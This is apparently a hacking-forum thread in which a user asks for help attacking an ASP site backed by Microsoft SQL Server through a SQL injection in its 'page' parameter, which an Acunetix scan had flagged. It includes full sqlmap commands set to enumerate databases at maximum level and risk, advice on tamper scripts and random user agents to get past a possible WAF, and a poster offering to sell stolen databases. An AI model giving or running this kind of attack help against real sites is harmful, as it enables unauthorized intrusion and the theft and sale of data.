[gituser102]

Details:
SQL injection

URL:
h_t_tps://vulun_domain/api/dashboard/aff_info_list[dot]asp
Parameter: page
Attack Details: URL encoded GET input page was set to 1'"

Error message found: Microsoft OLE DB Provider for SQL Server
==================================================

Hello, HF members.
How are you?
I am a newbie about sqlmap.
I am going to attack mssql server written with asp, but Acunetix said that it has sql injection.
vulun link is as follows: ht_t_ps[://]vulun_domain/api/dashboard/aff_list[dot]asp and get param is page
so acunetix set it as /api/dashboard/aff_info_list[dot]asp?_=1715688639659&page=1'"
95% confidence open
And i have tried like this
sqlmap -u "h_tt_ps[://]vulun_domain/api/dashboard/aff_info_list[dot]asp?_=1715688639659&page=1" -method GET -p page --os "Windows" --dbms=mssql --cookie="i have setup cookie of this site" --header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" --level 5 --risk 3 -v 3 --dbs

sqlmap Result: [WARNING] GET parameter 'page' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable. As heuristic test turned out positive you are strongly advised to continue on with the tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'



so i tried with --tamper=space2commnet and --random-agent also
but same result

what should i do in this situation?
Any help thanks.

[RonyKingSourcing]

Reading through this.
I really wish i could help, but obviously i cant here.

I really hope you get the help you need.

I know how hard sometimes it is.

I'm stepping away from SQLi. Im really looking for teams we can work together. My core strength is into sales of db.

I really wish to focus on that line.

[SqlimaX]

sqlmap -u "h_tt_ps[://]vulun_domain/api/dashboard/aff_info_list[dot]asp?_=1715688639659&page=1" -method GET -p page --os "Windows" --dbms=mssql --cookie="i have setup cookie of this site" --header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" --level 5 --risk 3 -v 3 --dbs

Try this sqlmap.py -u "yourwebsite.blablaasp?29438752324523&page=1" --dbms="Microsoft SQL Server" --random-agent --no-cast --level 5 --risk 3 --dbs
do a at page=1 for set a injection point and or typ -p page and let this running - and when it called nothing found - try to work with tamperscript if you sure that there is a vuln

[gituser102]

thanks Sqlimax.
I will try